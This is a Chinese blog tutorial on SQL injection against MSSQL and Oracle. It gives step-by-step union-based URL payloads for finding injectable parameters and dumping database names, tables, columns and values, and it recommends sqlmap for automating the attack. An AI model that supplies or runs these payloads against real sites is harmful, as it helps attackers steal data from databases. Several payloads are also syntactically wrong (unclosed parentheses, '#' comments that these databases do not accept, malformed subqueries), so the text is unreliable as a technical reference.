SQL注入(四)–MSSQL和Oracle注入

简介

MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

注意:SQL server的最高权限是sa,Oracle的最高权限是dba。扩展:Windows的最高权限是system(不是admin!),Linux的最高权限是root。

注入方式

SQL server

联合查询注入

1.老规矩,先判断是否存在注入点。

2.用order by猜列数,注意联合查询不会显示重复内容,所以有时要在union后面加all。

3.联合查询找回显位,注意这里有些不一样,因为SQL server需要指定数据类型,所以判断时需要加单引号。例如:?id=1' union select null,'null',null #假设有三列,这里猜测第二个为回显位,则用单引号包围第二个null。如果网页回显null,则说明第二个是回显位。多个回显位以此类推。

4.爆库

例如:?id=1' union select null,(select db_name),null #

5.爆表

例如:?id=1' union select null,(select top 1 字段名 from 库名.dbo.sysobjects where xtype='u',null #

其中sysobjects是SQL server独有表,u代表用户创建的表。

6.爆字段

例如:?id=1' union select null,(select top 1 col_name(object_id('表名'),n) from sysobjects,null #

其中n代表第几列,一般第一列是id。

7.爆值

例如:?id=1' union select null,(select top 1 字段名 from 表名),null #

扩展:

查看当前数据库版本:?id=1' union select null,(select @@version),null #

其它方式

sqlmap一把梭,或者超级SQL注入工具。

Oracle

联合查询注入

1.老规矩,先判断是否存在注入点。

2.用order by猜列数,注意联合查询不会显示重复内容,所以有时要在union后面加all。

3.联合查询找回显位,注意这里有些不一样,虽然Oracle也需要指定数据类型,判断方法与SQL server相同,但是Oracle规定每次查询时必须跟随表名。例如:?id=1' union select null,'null',null from dual#

其中dual是Oracle独有表。

4.爆库

例如:?id=1' union select null,(select instance_name from V$INSTANCE),null from dual #

5.爆表

例如:?id=1' union select null,(select table_name from user_tables where rownum=1 and like '%关键词%'),null from dual #

注意要加rownum=1,因为Oracle每次只能显示一条数据。关键词可能是user,admin之类的敏感词。

6.爆字段

例如:?id=1' union select null,(select column_name from user_tab_columns where rownum=1 and table_name='表名'),null from dual #

?id=1' union select null,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('字段名1','字段名2',...,'字段名n')),null from dual #

7.爆值

例如:?id=1' union select null,(select 字段名1,字段名2,...,字段名n from "表名"),null from dual #

注意实际表名要加双引号。

扩展:

查看当前数据库版本:?id=1' union select null,(select banner from sys.v_$version where rownum=1),null from dual #

其它方式

sqlmap一把梭,或者超级SQL注入工具。

总结

脚本小子yyds!到这里,SQL注入的相关内容就结束了。接下来,我将会为大家分享文件上传的一些姿势,以及绕过waf的骚操作。

感谢大家的耐心阅读,如有疑问,敬请在评论区留言!本文为明赫IT大本营的原创文章,经实践,测试,整理后发布。如需转载请联系作者获得授权,并注明转载地址。本文链接:https://www.terry906.top/sql%e6%b3%a8%e5%85%a5%ef%bc%88%e5%9b%9b%ef%bc%89-mssql%e5%92%8coracle%e6%b3%a8%e5%85%a5/

类别:

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

没有回应

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注